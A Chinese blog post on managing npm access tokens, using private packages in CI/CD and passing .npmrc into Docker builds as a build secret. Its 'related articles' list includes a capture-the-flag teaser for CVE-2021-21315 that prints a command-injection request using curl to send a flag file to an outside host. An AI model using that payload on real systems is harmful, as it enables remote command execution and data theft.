NPM与外部服务的集成(下)

目录

1、撤消访问令牌

2、在CI/CD工作流中使用私有包

2.1 创建新的访问令牌

持续整合

持续部署

交互式工作流

CIDR白名单

2.2 将令牌设置为CI/CD服务器上的环境变量

2.3 创建并签入特定于项目的.npmrc文件

2.4 令牌安全

3、Docker和私有模块

3.1 背景:运行时变量

3.2 更新Dockerfile

3.3 构建Docker镜像


1、撤消访问令牌

为了确保您的帐户和软件包的安全,我们强烈建议您撤销(删除)不再需要或已被泄露的令牌。您可以撤销已创建的任何令牌。

1、如果要查看令牌列表,请在命令行上运行:
npm token list

2、在令牌表中,查找并复制要删除的令牌的ID。

3、在命令行上,运行以下命令,例如删除的令牌的ID为0a4d81

npm token delete 0a4d81

4、要确认令牌已删除,请再次运行如下命令,查看下令牌是否已删除: 

根据创建时间倒序排列的令牌列表,可以发现刚才的只读令牌已删除。

注意:必须使用令牌ID来删除令牌,而不是令牌的截断版本。在某些情况下,在令牌被成功撤销之前可能存在长达一小时的延迟。 

2、在CI/CD工作流中使用私有包

您可以使用访问令牌在持续集成(CI)系统中测试私有npm包,或者使用持续部署(CD)系统部署它们。

2.1 创建新的访问令牌

创建一个新的访问令牌,仅用于从CI/CD服务器访问npm包。

持续整合

当生成用于持续集成环境的访问令牌时,我们建议使用具有有限访问权限的粒度访问令牌,以提供更高的安全性。

如果您使用传统令牌,默认情况下,npm token create将生成具有读写权限的令牌。我们建议创建只读令牌:

npm token create --read-only

有关创建访问令牌(包括CIDR白名单令牌)的详细信息,可以参考之前的文章,NPM与外部服务的集成(上)

持续部署

由于持续部署环境通常涉及到创建部署工件,因此您可能希望在网站上创建一个自动化令牌
。这将允许您发布,即使您在帐户上启用了双因素身份验证。

交互式工作流

如果您的工作流生成了一个包,但您在验证后手动发布了它,那么您将需要创建一个具有读写权限的令牌,这些权限是通过标准令牌创建命令授予的:

npm token create

CIDR白名单

为了提高安全性,您可以使用CIDR白名单令牌,该令牌只能在特定的IP地址范围内使用。您可以使用CIDR白名单和读取和发布令牌或只读令牌:

npm token create --cidr=[list]
npm token create --read-only --cidr=[list]

Example:范例:

npm token create --cidr=192.0.2.0/24

2.2 将令牌设置为CI/CD服务器上的环境变量

在CI/CD服务器中将令牌设置为环境变量或密码。

例如,在GitHub Actions中,您可以将令牌添加为密钥
。然后,您可以将密钥设置为可用于工作流。

如果您将secret命名为NPM_TOKEN,那么您需要从该secret创建一个名为NPM_TOKEN的环境变量。

steps:- run: |npm install- env:NPM_TOKEN: ${{ secrets.NPM_TOKEN }}

2.3 创建并签入特定于项目的.npmrc文件

使用特定于项目的.npmrc文件和令牌的变量,以使用npm安全地验证CI/CD服务器。

1、在项目的根目录中,创建包含以下内容的自定义.npmrc文件:

//registry.npmjs.org/:_authToken=${NPM_TOKEN}

注意:您指定的是一个文本值${NPM_TOKEN}。npm cli会将这个值替换为NPM_TOKEN环境变量的内容。不要在此文件中放置令牌。

2.4 令牌安全

您的令牌可能有权读取私有包、代表您发布新包或更改用户或包设置。保护好你的令牌。

不要将令牌添加到版本控制中或以不安全的方式存储令牌。将其存储在密码管理器、云提供商的安全存储或CI/CD提供商的安全存储中。

如果可能,请使用具有最低必要权限的粒度访问令牌,并为令牌设置较短的到期日期。

3、Docker和私有模块

要在Docker容器中安装私有npm包,您需要使用Docker构建密钥。

3.1 背景:运行时变量

您不能仅使用运行时变量在Docker容器中安装私有npm包。考虑以下Dockerfile:

FROM nodeCOPY package.json package.json
RUN npm install# Add your source files
COPY . .
CMD npm start

它将使用官方的Node.js镜像,将package.json复制到我们的容器中,安装依赖项,复制源文件并运行package.json中指定的start命令。

为了安装私有包,你可能会认为我们可以在运行npm install之前添加一行,使用ENV参数:

ENV NPM_TOKEN=00000000-0000-0000-0000-000000000000

然而,这并不像你期望的那样工作,因为你希望npm安装在你运行docker build时发生,在这个例子中,没有使用ENV变量,它们只为运行时设置。

你必须使用Docker构建秘密,而不是运行时变量。

3.2 更新Dockerfile

利用这一点的Dockerfile比前面的示例多了几行,允许我们使用您的全局.npmrc和在运行npm login命令时创建的访问令牌(如果您还没有运行它-请在继续之前运行它)。

# https://docs.npmjs.com/docker-and-private-modules
FROM node:18ENV APP_HOME="/app"WORKDIR ${APP_HOME}COPY package*.json ${APP_HOME}/RUN --mount=type=secret,id=npmrc,target=/root/.npmrc npm installCOPY . ${APP_HOME}/CMD npm start

这将配置您的Dockerfile通过build secrets接收.npmrc文件,在npm依赖安装完成后不会留下任何痕迹。

3.3 构建Docker镜像

要使用上述Dockerfile和npm身份验证令牌构建镜像,可以运行以下命令。请注意,最后给予.将当前目录作为参数提供给docker build

docker build . -t secure-app-secrets:1.0 --secret id=npmrc,src=$HOME/.npmrc

这将使用通过build secrets接收的全局.npmrc文件中的访问令牌构建Docker镜像,因此您可以作为当前登录用户在容器中运行npm install

注意:您可能需要指定一个不同于默认/的工作目录,否则某些框架(如Angular)将失败。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/39030.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

移远RM500U-CN模块直连嵌入式ubuntu实现拨号上网

目录 1 平台: 2 需要准备的资料 3 参考文档 4 编译环境与驱动移植 4.1 内核驱动添加厂家ID和产品ID 4. 2.添加零包处理 4.3 增加复位恢复机制 4.4 增加批量输出 批量输出 URB 的数量和容量 的数量和容量 4.5 内核配置与编译 5 QM500U-CN拨号(在开…

春秋云镜 CVE-2021-21315

春秋云镜 CVE-2021-21315 systeminformation存在命令注入 靶标介绍 systeminformation是一个简单的查询系统和OS信息包。 启动场景 漏洞利用 exp /api/osinfo?param[]$(curl%20-d%20/flag%20xxx.ceye.io)登录ceye.io平台,curl请求 http://eci-2zed871sr7xrdjb…

Lombok的使用及注解含义

文章目录 一、简介二、如何使用2.1、在IDEA中安装Lombok插件2.2、添加maven依赖 三、常用注解3.1、Getter / Setter3.2、ToString3.3、NoArgsConstructor / AllArgsConstructor3.4、EqualsAndHashCode3.5、Data3.6、Value3.7、Accessors3.7.1、Accessors(chain true)3.7.2、Ac…

JavaScript 中常用简写技巧总结

平时我们写代码时最高级的境界是自己写的东西别人看不懂!哈哈哈!分享一些自己常用的js简写技巧,长期更新,会着重挑选一些实用的简写技巧,使自己的代码更简洁优雅~ 这里只会收集一些大多数人不知道的用法,但…

网络原理(JavaEE初阶系列11)

目录 前言: 1.网络原理的理解 2.应用层 2.1自定义协议的约定 2.1.1确定要传输的信息 2.1.2确定数据的格式 3.传输层 3.1UDP 3.1.1UDP报文格式 3.2TCP 3.2.1确认应答 3.2.2超时重传 3.2.3连接管理 3.2.3.1三次握手 3.2.3.2四次挥手 3.2.4滑动窗口 3.…

bigemap如何添加mapbox地图?

第一步 打开浏览器,找到你要访问的地图的URL地址,并且确认可以正常在浏览器中访问;浏览器中不能访问,同样也不能在软件中访问。 以下为常用地图源地址: 天地图: http://map.tianditu.gov.cn 包含&…

51单片机的管脚介绍

图文介绍 纯文字说明 单片机管脚相关结构及其作用如下 电源正极引脚 一般接5V电源,为单片机提供正常工作时的电压。 电源负极引脚 接地。然后才开始工作。 时钟引脚 18、19脚为时钟引脚(XTAL2、XTAL1)。单片机内部有大量的数字电路&a…

SringBoot-响应

响应数据 如何加载响应数据呢 其实在SpringBoot,已经有名为RessponseBody的方法注解为我们提供的响应的方法,他的作用是将方法返回值直接响应,如果返回值类型为实体对象/集合,则会转换为JSON格式响应。 而RestController已经在内…

Java真实面试题,offer已到手

关于学习 在黑马程序员刚刚开始的时候学习尽头非常足,到后面逐渐失去了一些兴趣,以至于后面上课会出现走神等问题,但是毕业时后悔晚矣。等到开始学习项目一的时候,思路总会比别人慢一些,不看讲义写不出来代码。 建议…

Lie group 专题:Lie 群

Lie group 专题:Lie 群 流形 流形的定义 一个m维流形是满足以下条件的集合M:存在可数多个称为坐标卡(图集)的子集合族.以及映到的连通开子集上的一对一映射,,称为局部坐标映射,满足以下条件 坐标卡覆盖M…

【数学建模】--灰色关联分析

系统分析: 一般的抽象系统,如社会系统,经济系统,农业系统,生态系统,教育系统等都包含有许多种因素,多种因素共同作用的结果决定了该系统的发展态势。人们常常希望知道在众多的因素中,哪些是主要…

leetcode 面试题 02.05 链表求和

⭐️ 题目描述 🌟 leetcode链接:面试题 02.05 链表求和 ps: 首先定义一个头尾指针 head 、tail,这里的 tail 是方便我们尾插,每次不需要遍历找尾,由于这些数是反向存在的,所以我们直接加起来若…

如何安装Python?

如何安装Python? 安装Python非常简单,让我们一步步来进行。 1. 访问官方网站 首先,您需要访问Python官方网站(https://www.python.org/)。在首页上,您会看到一个大大的「Downloads」按钮,点击…

【Redis实践篇】使用Redisson 优雅实现项目实践过程中的5种场景

文章目录 1.前言2.使用方式1. 添加Redisson依赖:2. 配置Redis连接信息3. 使用场景3.1. 分布式锁3.2. 限流器(Rate Limiter)3.3. 可过期的对象(Expirable Object)3.4. 信号量(Semaphore)3.5. 分布…

任我行CRM系统存在 SQL注入漏洞[2023-HW]

任我行CRM系统存在 SQL注入漏洞 一、 产品简介二、 漏洞概述三、 复现环境四、 漏洞复现小龙POC又是一通哈拉少 五、 修复建议 免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及…

学习ts(二)数据类型(接口和对象类型、数组类型)

interface 重名会重合到一起 如果两个interface名称相同,会把两个合到一起 重复定义同一个需要类型相同 不能多或者减少属性 设置任意key 当定义接口返回数据时,我们不确定接口会返回多少,知道所需要的固定属性,其余属性可以…

学习笔记十四:K8S最小调度单元POD概述

K8S最小调度单元POD概述 k8s核心资源Pod介绍Pod是什么Pod如何管理多个容器Pod网络Pod存储代码自动发版更新收集业务日志 Pod工作方式自主式Pod控制器管理的Pod(防误删除) 如何基于Pod运行应用 k8s核心资源Pod介绍 K8s官方文档:https://kubernetes.io/ K8s中文官方文…

【博客692】grafana如何解决step动态变化时可能出现range duration小于step

grafana如何解决step动态变化时可能出现range duration小于step 1、grafana中的step和resolution grafana中的 “step” grafana本身是没有提供step参数的,因为仪表盘根据查询数据区间以及仪表盘线条宽度等,对于不同查询,相同的step并不能…

校园外卖小程序怎么做

校园外卖小程序是为满足校园内学生和教职员工的外卖需求而开发的一种应用程序。它涵盖了从用户端、商家端、骑手端、电脑管理员到小票打印、多商户入驻等多个方面的功能,以下将逐一介绍。 1. 用户端功能:校园外卖小程序为用户提供了便捷的订餐和外卖服务…

深入理解epoll

文章目录 概述1. epoll_create - 创建一个epoll实例2. epoll_ctl - 控制epoll实例的事件结构体介绍events取值:data: 联合体(共用体): 3. epoll_wait - 等待事件发生伪代码总结 概述 在网络编程中,高效地处…